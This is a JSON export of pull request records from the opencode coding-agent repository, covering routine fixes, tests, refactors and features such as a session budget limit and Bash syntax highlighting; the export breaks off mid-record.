      },
      {
        "id": "github:anomalyco/opencode:pull_request:42200",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "test(drive): parse generated JSONC config",
        "text": "## What Repair Drive tests so generated `opencode.jsonc` and `tui.jsonc` files are parsed as JSONC. ## Before / After **Before** Instance and CLI integration tests called `Bun.file(...).json()` on JSONC files. Once the default configuration included comments, Linux unit jobs failed with `SyntaxError: Failed to parse JSON` before checking the generated configuration. **After** Tests read the files as text and parse them with `Bun.JSONC.parse`, matching the production configuration reader and the files' declared format. ## How Updates JSONC assertions in: - `packages/drive/test/instance/config.test.ts` - `packages/drive/test/cli/integration.test.ts` Production behavior is unchanged. ## Scope This does not change Drive configuration generation or provider configuration. ## Testing - `cd packages/drive && bun run test` (205 Effect tests and 58 CLI integration tests passed) - `cd packages/drive && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42200",
        "createdAt": "2026-08-13T00:47:06Z",
        "updatedAt": "2026-08-13T00:57:28Z",
        "timestamp": "2026-08-13T00:57:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42201",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(catalog): auto-generated Open Graph cards per capture",
        "text": "## What Sharing a catalog link now unfurls with a real preview. Every captured screen/theme pair gets an auto-generated 1200x630 Open Graph card showing the actual rendered terminal frame, and the worker injects per-URL meta tags so scrapers (which never run JS) see the right card for deep links. ## How - `scripts/generate-og.ts` — runs after the production build. Renders each `frame.json` with `@napi-rs/canvas` using the exact cell metrics, block-glyph primitives, and vendored fonts from `opencode-drive/frame` (the same vocabulary the browser canvas renderer uses), then composes a branded card: kicker, screen title, theme chip, and the frame peeking from the bottom edge. Writes 196 PNGs (~13 MB) plus a default card to `dist/og/`; they deploy as plain static assets. - `worker.ts` — HTML responses get `og:*`/`twitter:*` meta injected before `</head>`. `?screen=X&set=Y` resolves against `catalog.json` (fetched once per isolate from ASSETS) to `og/X--Y.png` with the screen title and a per-theme description; unknown screens, missing captures, and the bare catalog URL fall back to `og/default.png`. Attribute values are escaped. ```mermaid sequenceDiagram participant S as Scraper participant W as Worker participant A as ASSETS S->>W: GET /lab/catalog?screen=home&set=tokyonight W->>A: /index.html W->>A: /catalog.json (cached per isolate) W-->>S: shell + og:image=og/home--tokyonight.png S->>W: GET /lab/catalog/og/home--tokyonight.png W->>A: /og/home--tokyonight.png A-->>S: 1200x630 PNG ``` ## Scope - Flows deep links (`?flow=`) fall back to the default card for now; a per-flow card (first checkpoint frame) is a natural follow-up. - Card generation happens in `build`, so `bun run deploy` in CI picks it up with no workflow changes. ## Testing - `bun run typecheck`, `bun run test` (37 pass, including new `metaTags` coverage for deep links, default theme, and fallbacks), `bun run build` (generates all 196 cards), lint (warnings pre-existing). - End-to-end with `wrangler dev --local`: verified injected `og:*` tags for `?screen=home&set=tokyonight`, default card on the bare URL, and `200 image/png` for the card asset. ## Demo Per-capture card (Home, Opencode theme): ![home--opencode.png](https://github.com/user-attachments/assets/e85d115e-3707-4d10-9466-b7036dcd7b3a) Theme-aware (Diff viewer, Tokyo Night): ![diff-viewer--tokyonight.png](https://github.com/user-attachments/assets/cd200750-c40d-4706-8362-cdae71beb369) Default card for the catalog root: ![default.png](https://github.com/user-attachments/assets/d7aad2e9-3731-4619-bedc-4948448e16cd)",
        "url": "https://github.com/anomalyco/opencode/pull/42201",
        "createdAt": "2026-08-13T00:49:14Z",
        "updatedAt": "2026-08-13T00:51:35Z",
        "timestamp": "2026-08-13T00:51:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42202",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(opencode): add per-session budget limit",
        "text": "### Issue for this PR No linked issue — new feature. ### Type of change - [x] New feature ### What does this PR do? Adds an optional per-session budget that stops the assistant when the session cost reaches it, plus a small widget in the TUI sidebar Context panel to view and set it. - `budget` field on the session schema (v1 + current), a nullable `budget` column on the session table, and a generated drizzle migration - `PATCH /session/{id}` accepts `budget` (a number sets it, `null` clears it); sessions can be created with a budget - Enforcement in the V1 prompt loop: after each `step-finish` the accumulated cost is compared against the budget; when crossed, a text part \"Session budget reached. Increase the budget to continue.\" is appended and the loop stops. Re-prompting does not start a new provider turn until the budget is raised (guard at loop entry) - TUI: the Context panel shows `$0.42 / $2.00 budget` (red when exceeded, `unlimited budget` when unset). Mouse scroll over the row adjusts it in $0.25 steps (scrolling below $0.25 clears it), clicking switches to an input — Enter saves, Esc cancels - SDK types regenerated; the OpenAPI encoder drops the null arm of `Schema.NullOr` wrapped in `Schema.optional`, so the sdk build script now widens the update-side budget types to `number | null` Known limitation: enforcement lives in the V1 prompt loop. The durable V2 runner does not compute cost yet (`cost: 0` is hardcoded in `Step.Ended`), so budget stopping is a no-op there until V2 cost accounting lands. Small extra: `packages/core/script/migration.ts` got a Windows fix — `generatedMigrations` split on `/` only, which broke migration generation on Windows. It was required to generate the migration for this PR. ### How did you verify your code works? - `bun typecheck` in packages/schema, core, opencode, tui, sdk/js — all clean - `bun test test/session` in packages/opencode: 383 pass (new tests: budget stops the turn, exhausted budget exits the loop without an LLM request, budget round-trips through Session.Info) - new `packages/tui/test/feature-plugins/sidebar-context.test.tsx`: headless widget tests (render, wheel up/down, clear, click-to-edit, Enter save, Esc cancel) using the OpenTUI test renderer with mock mouse/keys - migration generator `--check` passes - manually ran `bun dev` and exercised the widget with mouse and keyboard ### Screenshots / recordings Char frame from the headless test renderer (the Context panel of the session sidebar): ``` Context 0 tokens 0% used $0.42 spent $0.42 / $2.00 budget ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42202",
        "createdAt": "2026-08-13T00:51:56Z",
        "updatedAt": "2026-08-13T01:20:01Z",
        "timestamp": "2026-08-13T01:20:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "HHrddtu",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42203",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): skip shell parsing when permissions allow all",
        "text": "## What Skip shell command parsing when the effective agent configuration provably allows every shell command and every external directory. This lets sandboxed runtimes with an unconditional shell policy execute without loading tree-sitter. Runtimes with granular asks or denies retain the existing parser-backed permission decomposition. ## Before / After **Before:** the shell tool always loaded tree-sitter and parsed the command before checking permissions. A workerd runtime could not execute shell commands even when its agent configuration unconditionally allowed them, because tree-sitter's dynamically linked grammar WASM cannot load there. **After:** the permission service first proves that both `shell` and `external_directory` are unconditionally allowed. If so, the tool validates the working directory and executes the raw command without loading the parser. Any ask, deny, scoped-only allow, or later scoped override keeps the existing parse-and-assert path. ## How - `packages/core/src/permission.ts` adds `allowsAll`, a conservative configured-rule proof. It requires a matching `resource: \\\"*\\\"` allow and rejects any later matching scoped ask or deny. - `packages/core/src/tool/plugin/shell.ts` skips `ShellParse.scan` only when both shell execution and external-directory access pass that proof. - Permission and shell-tool tests cover blanket allows, scoped allows, later denies, later blanket overrides, parser bypass, and unchanged compound-command decomposition. ## Scope This does not add a parser fallback or change granular shell permission semantics. Commands still parse whenever the configuration cannot prove unrestricted access. This branch currently targets the permission model at `v2` HEAD. #42174 adds ancestor deny inheritance; after it merges, this PR will be rebased so inherited denies also prevent the fast path. ## Testing - `cd packages/core && bun test test/permission.test.ts` (12 passed) - `cd packages/core && bun test test/tool-shell.test.ts` (20 passed) - `cd packages/core && bun run typecheck` - Pre-push full workspace typecheck: 34 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42203",
        "createdAt": "2026-08-13T01:04:46Z",
        "updatedAt": "2026-08-13T01:09:56Z",
        "timestamp": "2026-08-13T01:09:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42205",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "test(core): reuse permission service stub",
        "text": "## What Replace repeated ad-hoc `Permission.Service` test implementations with one small core test helper. Tests keep their local permission assertion capture, denial behavior, post-approval hooks, and `allowsAll` customization without repeating unused service methods. ## How - Add `packages/core/test/lib/permission.ts`, following existing `Layer.mock` test helper conventions. - Default only `allowsAll` to `false`; unspecified service methods retain `Layer.mock`'s fail-on-use behavior. - Migrate the repeated permission layers across core tool, instruction, and runner tests. - Keep the specialized MCP permission mock local because it coordinates deferred permission timing rather than repeating the common service shell. ## Scope Test code only. This does not change production permission behavior or introduce a general mock framework. ## Testing - `cd packages/core && bun run test test/tool-question.test.ts test/tool-shell.test.ts test/tool-read.test.ts test/tool-write.test.ts test/tool-edit.test.ts test/tool-patch.test.ts test/tool-search.test.ts test/tool-skill.test.ts test/tool-webfetch.test.ts test/tool-websearch.test.ts test/session-instructions.test.ts test/session-runner.test.ts test/session-runner-recorded.test.ts` (294 passed) - `cd packages/core && bun typecheck` - Pre-push full workspace typecheck (34 packages passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42205",
        "createdAt": "2026-08-13T01:15:12Z",
        "updatedAt": "2026-08-13T01:27:00Z",
        "timestamp": "2026-08-13T01:27:00Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42206",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): omit implicit cd autocomplete prefix",
        "text": "## Summary - show current-directory `/cd` autocomplete entries without an implicit `./` prefix - preserve explicit `../`, `~/`, and absolute prefixes ## Tests - `bun test test/prompt/autocomplete.test.ts` - `bun run typecheck`",
        "url": "https://github.com/anomalyco/opencode/pull/42206",
        "createdAt": "2026-08-13T01:20:41Z",
        "updatedAt": "2026-08-13T01:39:45Z",
        "timestamp": "2026-08-13T01:39:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "jlongster",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42207",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "chore: move drive and catalog ownership",
        "text": "## What Removes OpenCode Drive and the terminal catalog from this monorepo after transferring catalog ownership and all current state coverage to anomalyco/opencode-drive#57. The standalone PR contains the complete current catalog, including annotations, faceted filtering, per-capture Open Graph cards, deployment routing, all 76 screens across three themes, and the state coverage originally introduced by this PR. ## How - Removes `packages/drive` and `packages/lab/catalog`. - Removes the catalog deployment workflow, duplicated Drive skill, and orphaned Drive-only scripts/CLI fixtures. - Removes Drive/catalog Turbo tasks, workspace discovery, Windows test filtering, and product release exclusions. - Regenerates `bun.lock` without either workspace. - Retains `packages/protocol` and `packages/simulation` support because those define OpenCode's external simulation/Drive integration contract. ## Scope - Does not remove OpenCode's simulation protocol or server-side simulation support. - Does not publish Drive or create a release/tag. - Merge after anomalyco/opencode-drive#57 is ready. Its deployment workflow needs `CLOUDFLARE_API_TOKEN` added to that repository. ## Testing - `bun install` - `bun turbo typecheck --concurrency=3` (39 packages, 32 typecheck tasks passed) - `bun turbo test` reached the existing unrelated `packages/app` Unicode locale failure: `pa-PK` resolved to `en` instead of `pa`; all tasks before that failure passed - Verified no tracked workspace/path/package references remain outside the intentionally retained simulation integration contract - `git diff --check` ## Ownership ```mermaid flowchart LR OpenCode[OpenCode protocol and simulation server] --> Contract[External simulation contract] Contract --> Drive[anomalyco/opencode-drive packages/drive] Drive --> Catalog[anomalyco/opencode-drive apps/catalog] Catalog --> Deploy[dev.opencode.ai/lab/catalog] ```",
        "url": "https://github.com/anomalyco/opencode/pull/42207",
        "createdAt": "2026-08-13T01:33:37Z",
        "updatedAt": "2026-08-13T02:20:41Z",
        "timestamp": "2026-08-13T02:20:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42208",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "test(core): reuse project service stub",
        "text": "## What Replace repeated complete `Project.Service` test layers with one small global-project test stub. The affected session tests all need the same behavior: no listed projects or directories, and every directory resolves to the global project unchanged. ## How - Add `packages/core/test/lib/project.ts` with `globalProjectLayer`. - Migrate six exact duplicate layers in session create, remove, log, move, compact, and instruction tests. - Keep partial `Layer.mock` project doubles local so unexpected methods still fail. - Keep the LayerNode acquisition test's service literal local because service construction is what that test measures. ## Scope Test code only. This does not change production project resolution or add a configurable mock framework. ## Testing - `cd packages/core && bun run test test/session-create.test.ts test/session-remove.test.ts test/session-log.test.ts test/session-move.test.ts test/session-compact.test.ts test/session-instructions.test.ts` (49 passed) - `cd packages/core && bun typecheck` - Pre-push full workspace typecheck (34 packages passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42208",
        "createdAt": "2026-08-13T01:34:15Z",
        "updatedAt": "2026-08-13T01:47:11Z",
        "timestamp": "2026-08-13T01:47:11Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42209",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(client): cancel SSE readers after handshake",
        "text": "## What Reduce native memory growth when long-lived Promise SSE subscriptions reconnect or are cancelled. ## Before / After **Before** The caller AbortSignal remained attached to the native fetch for the entire SSE lifetime. Cancelling a connected stream aborted Bun HTTP directly, and repeated reconnects increased RSS by about 29 MB across 40 tiny-event streams on Bun 1.3.14. **After** The caller signal controls fetch only through the response handshake. Once the response is validated as SSE, cancellation closes the response reader without aborting the native fetch. The same reconnect benchmark dropped to about 23.7 MB of RSS growth. ## How - `packages/httpapi-codegen/src/index.ts` generates a handshake-scoped AbortController, then switches cancellation to `ReadableStreamDefaultReader.cancel()`. - `packages/client/src/promise/generated/client.ts` contains the regenerated Promise client. - `packages/client/test/promise.test.ts` verifies post-handshake cancellation closes the reader while leaving the fetch signal un-aborted. ## Scope This is a transport teardown mitigation, not a complete fix for all long-lived TUI RSS growth. Investigation also found Bun 1.3.14 allocator high-water behavior under large and varied SSE payloads. Replay-safe event scoping and a future stable Bun upgrade remain separate follow-up work. ## Testing - `cd packages/client && bun run generate` - `cd packages/client && git diff --exit-code -- src/promise/generated src/effect/generated src/effect/api` - `cd packages/client && bun run test test/promise.test.ts` (23 passed) - `cd packages/client && bun typecheck` - `cd packages/httpapi-codegen && bun run test` (87 passed) - `cd packages/httpapi-codegen && bun typecheck` - Repository pre-push typecheck (34 packages passed) ## Flow ```mermaid sequenceDiagram participant Caller participant Client participant Fetch as Bun fetch participant Reader as SSE reader Caller->>Client: subscribe(signal) Client->>Fetch: request(handshake signal) Fetch-->>Client: response headers Client->>Client: validate status and content type Client->>Reader: getReader() Caller->>Client: abort() Client->>Reader: cancel() Note over Fetch,Reader: Native fetch is not aborted after handshake ```",
        "url": "https://github.com/anomalyco/opencode/pull/42209",
        "createdAt": "2026-08-13T01:40:43Z",
        "updatedAt": "2026-08-13T01:57:30Z",
        "timestamp": "2026-08-13T01:57:30Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42211",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs(desktop): add Solid best practices guidance",
        "text": "## Summary - direct desktop contributors to follow Solid best practices - require comments when code intentionally violates the linked guidance ## Testing - Not run (documentation-only change) Requested by: @Hona (Hona via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42211",
        "createdAt": "2026-08-13T01:43:02Z",
        "updatedAt": "2026-08-13T01:56:57Z",
        "timestamp": "2026-08-13T01:56:57Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42214",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): highlight Bash commands",
        "text": "## What Highlight Bash syntax wherever commands are shown or edited in the TUI: - `!` Shell-mode prompt input while the user types - agent shell tool commands in inline and expanded tool views Keywords, strings, variables, comments, and punctuation use the active TUI syntax theme. ## How - `packages/tui/src/component/prompt/index.tsx` parses Shell-mode input as Bash after edits and applies the resulting theme styles directly to the textarea edit buffer. Stale asynchronous parser results are discarded, and highlights are removed when the input changes or Shell mode closes. - `packages/tui/src/routes/session/index.tsx` renders submitted Shell-mode commands and agent shell commands with the native `<code filetype=\"bash\">` component. - Shell output remains plain, subdued text beneath the highlighted command. ## Scope This changes TUI presentation only. It does not change command execution, shell selection, or tool behavior. ## Testing - Direct Tree-sitter parser probe confirmed Bash captures for keywords, strings, variables, and comments. - `bun typecheck` from `packages/tui` - `bun run test` from `packages/tui` (689 passed, 5 skipped) - Prettier check and `git diff --check` - Full repository push-hook typecheck (34 packages passed) - Scripted OpenCode Drive capture exercised ordinary and compound Shell-mode input plus an actual agent shell tool call ## Demo ### Shell-mode editing The recording shows `ls -la`, `git status --short && echo \"clean\"`, and a loop with a variable and comment. https://github.com/user-attachments/assets/b5d0e56e-cd30-4581-8116-69e34cd609b2 ![Ordinary Shell-mode command](https://github.com/user-attachments/assets/600e3bd0-15fb-45e5-ac7d-c7a995d9ad7d) ![Compound Shell-mode command](https://github.com/user-attachments/assets/99014f85-aa84-4c25-ae68-4f5d0ed3d838) ![Shell-mode loop with variable and comment](https://github.com/user-attachments/assets/6ef7721b-7e2a-4feb-aa72-16f0801497be) ### Agent shell tool call The recording shows an actual agent shell tool call with highlighted command syntax and real shell output. https://github.com/user-attachments/assets/ac0f0809-8795-462b-99fd-0b2ed7665c57 ![Highlighted agent shell tool command](https://github.com/user-attachments/assets/5ed016ba-9cf0-4d78-a8f5-2c318ceb83b9)",
        "url": "https://github.com/anomalyco/opencode/pull/42214",
        "createdAt": "2026-08-13T01:55:05Z",
        "updatedAt": "2026-08-13T15:45:18Z",
        "timestamp": "2026-08-13T15:45:18Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42218",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): refresh fallback file search",
        "text": "## Summary - invalidate the ripgrep fallback file index when the project filesystem changes - rebuild the snapshot on the next file search instead of requiring a daemon restart - cover newly created files appearing in subsequent searches ## Tests - `bun test test/filesystem/search.test.ts` - `bun typecheck` Requested by: @Hona (Luke Parker via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42218",
        "createdAt": "2026-08-13T02:09:41Z",
        "updatedAt": "2026-08-13T15:59:15Z",
        "timestamp": "2026-08-13T15:59:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42219",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): highlight queued prompts on hover",
        "text": "## What Adds a subtle raised background when the queued-prompts dock is hovered, making its existing click behavior discoverable. ## Before / After **Before:** The queued-prompts dock looked identical at rest and under the pointer, so it did not read as interactive. **After:** Hovering raises the dock background using the existing elevated theme treatment. Clicking still opens the queued-prompts manager. ## How - Tracks hover state in `QueuedPromptDock`. - Uses `theme.raise(theme.background.default)` while hovered. - Preserves the existing full-dock click target and layout. ## Scope This only changes the V2 TUI queued-prompts dock hover styling. ## Testing - `bun typecheck` from `packages/tui` - Full repository pre-push typecheck (41 packages) - OpenCode Drive end-to-end capture against this worktree ## Demo OpenCode Drive capture with a seeded simulated queued prompt. The dock starts at its default background, raises visibly for two seconds on hover, then opens the matching `Queued prompts` dialog on click. https://github.com/user-attachments/assets/3c25bc0e-5191-4f60-b9e2-341f532b7ce4",
        "url": "https://github.com/anomalyco/opencode/pull/42219",
        "createdAt": "2026-08-13T02:13:22Z",
        "updatedAt": "2026-08-13T02:32:31Z",
        "timestamp": "2026-08-13T02:32:31Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42222",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(util): replace xdg-basedir",
        "text": "## What Replace `@opencode-ai/util`'s single `xdg-basedir` use with a behavior-compatible local implementation, removing one direct runtime dependency (6,813 unpacked bytes across 5 files). ## How - Preserve import-time XDG environment overrides and home-directory defaults in `global-roots.ts`. - Preserve empty-value fallback behavior and platform-specific home resolution through `os.homedir()`. - Cover overrides and empty/default behavior in isolated subprocess tests. ## Scope Only `packages/util` is changed. The unrelated `packages/workerd-spike` dependency remains, so the shared lockfile retains the package entry. ## Testing - `cd packages/util && bun run test` (9 passed) - `cd packages/util && bun typecheck` - Push hook workspace typecheck (34 tasks passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42222",
        "createdAt": "2026-08-13T02:21:36Z",
        "updatedAt": "2026-08-13T02:21:47Z",
        "timestamp": "2026-08-13T02:21:47Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42223",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): correct working directory when continuing session in a new directory",
        "text": "### Issue for this PR Closes #42221 Also addresses #41562 ### Type of change - [x] Bug fix ### What does this PR do? `opencode -c` in a directory with no prior sessions showed an old directory instead of the current one. Two issues caused this: 1. **SDK `pick()` didn't fall back to `config.directory`** — When the `x-opencode-directory` header was missing from a request, `pick()` returned `undefined` instead of the configured directory. This meant the `directory` query param wasn't sent, so the server's `listGlobal` skipped its directory filter and returned sessions from all directories. The `-c` continue logic then resumed a session from the wrong directory. Fix: `pick()` now returns `fallback` when the header value is missing, so the configured directory is always sent as a query param. 2. **Continue effect didn't fall back to home** — When `-c` found no matching session in the blocking phase, it stayed on the placeholder `\"dummy\"` session route, producing a broken view. Fix: the continue effect now navigates to home once sync completes without a match. ### How did you verify your code works? - Typecheck passes for both `packages/sdk/js` and `packages/tui` - SDK tests pass (1/1), TUI session list tests pass (5/5) - TUI full suite: 189 pass, 4 pre-existing failures (Windows path separator + KV state file — unrelated) - Verified session DB stores forward-slash paths while `FSUtil.resolve` returns backslashes on Windows, confirming the filter mismatch path ### Screenshots / recordings _N/A (logic fix, no visible UI change beyond correct directory display)_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42223",
        "createdAt": "2026-08-13T02:23:58Z",
        "updatedAt": "2026-08-13T03:08:21Z",
        "timestamp": "2026-08-13T03:08:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "shinelon",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42226",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): position composer top slot above queue",
        "text": "## What Render `session.composer.top` above the complete composer stack instead of between the queued-prompt rail and prompt. This keeps additions such as session recaps above the composer as a whole, while the queued rail remains visually attached to the prompt it belongs to. ## Before / After **Before** The top slot split the two composer-owned sections. ```text queued prompt rail session.composer.top prompt and footer ``` **After** The top slot sits above the complete composer. ```text session.composer.top queued prompt rail prompt and footer ``` ## How - `packages/tui/src/routes/session/index.tsx` mounts `session.composer.top` before `QueuedPromptDock`. - The queued rail and prompt stay together in the existing fixed bottom stack. - No plugin API or queued-prompt behavior changes. ## Scope This only changes vertical render order. It does not change slot semantics, queued-prompt interactions, or prompt styling. ## Testing - `bun typecheck` in `packages/tui` - `bun run test test/plugin-structure.test.ts` in `packages/tui` (14 passing) - Full workspace typecheck from the push hook (34 tasks passing) - OpenCode Drive against this development checkout, with a queued prompt visible above the real prompt ## Demo The Drive capture shows the queued rail directly attached to the prompt and its metadata. `session.composer.top` now mounts immediately above this complete bottom stack. ![OpenCode Drive capture showing the queued rail attached to the prompt](https://github.com/user-attachments/assets/c13b06e7-7cc1-4271-abb0-b0070dc72e7e) The simulated response text is generated by OpenCode Drive; the queued rail and prompt are the real TUI surfaces from this branch.",
        "url": "https://github.com/anomalyco/opencode/pull/42226",
        "createdAt": "2026-08-13T02:35:27Z",
        "updatedAt": "2026-08-13T02:42:03Z",
        "timestamp": "2026-08-13T02:42:03Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42227",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): reject inherited workspace providers",
        "text": "## What Preserve the typed `WorkspaceDriver.ProviderNotFound` contract for every unregistered provider name after removing the built-in Modal workspace driver in #42142. ## Before / After **Before:** the registry read `drivers[provider]` directly. Names inherited from `Object.prototype`, such as `constructor`, `toString`, and `__proto__`, resolved to unrelated values. Workspace creation then defected while trying to call the bogus driver's `create` method instead of returning `WorkspaceDriver.ProviderNotFound`. **After:** the registry accepts only own properties of the externally supplied provider record. Ordinary missing names and prototype-inherited names all return the same typed `ProviderNotFound` error. ## How - Guard the provider lookup in `packages/core/src/workspace/driver.ts` with `Object.hasOwn`. - Add focused Core coverage for an ordinary missing provider and the inherited `constructor`, `toString`, and `__proto__` names. ## Scope - V2 only; `packages/opencode` is unchanged. - No change to the generic workspace driver interface or layer registration API. - No built-in workspace provider is added. - The Modal implementation, dependency, tests, and lock graph remain removed by #42142. ## Testing - `cd packages/core && bun run test test/workspace.test.ts` (3 passed) - `cd packages/core && bun typecheck` - `cd packages/server && bun run test` (22 passed) - `cd packages/server && bun typecheck` - `cd packages/sdk-next && bun run test test/embedded.test.ts` (11 passed) - `cd packages/sdk-next && bun typecheck` - Push hook: `bun turbo typecheck --concurrency=3` (34 package tasks passed) - `bunx prettier --check packages/core/src/workspace/driver.ts packages/core/test/workspace.test.ts` - `git diff --check` ## Modal Removal Measurements Measured across #42142 using identical `bun build src/routes.ts --target=bun` commands: - Server JS bundle: 30,876,101 to 27,797,545 bytes, saving 3,078,556 bytes (9.97%). - Gzipped server JS: saving 361,312 bytes (6.91%). - Installed monorepo dependencies: saving 13,520 KiB (0.41%). - Lockfile: 39 lines and 20 Modal-related package entries removed.",
        "url": "https://github.com/anomalyco/opencode/pull/42227",
        "createdAt": "2026-08-13T02:39:01Z",
        "updatedAt": "2026-08-13T02:55:34Z",
        "timestamp": "2026-08-13T02:55:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42229",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(core): replace webfetch markdown renderer",
        "text": "## What Replace V2 Core webfetch's Turndown/Domino HTML-to-Markdown conversion with a purpose-built `htmlparser2` event renderer. The renderer preserves model-readable document structure without constructing a browser DOM and removes Core's `turndown`, `@mixmark-io/domino`, and `@types/turndown` closure. | Measurement | Before | After | Change | | --- | ---: | ---: | ---: | | 322 KB article throughput, median | 4.75 MiB/s | 19.28 MiB/s | 4.06x | | Conversion time, 1 warmup + 9 measured | 64.60 ms (62.51-76.02) | 15.92 ms (14.51-20.58) | -75.4% | | Isolated minified bundle | 311,557 B | 61,293 B | -250,264 B | | Isolated gzip bundle | 98,680 B | 26,922 B | -71,758 B | | macOS arm64 CLI executable | 87,338,978 B | 87,091,298 B | -247,680 B | | Installed Turndown + Domino closure | 9,028 KiB | 0 KiB in Core | -9,028 KiB | ## How - `packages/core/src/tool/html-markdown.ts` implements an iterative semantic frame renderer for headings, paragraphs, inline formatting, links/images, blockquotes, nested lists, definition lists, inline/fenced code, captions, and readable tables. - Tables are buffered and reconstructed after all rows are known, so captions are separate blocks, irregular/spanned tables use 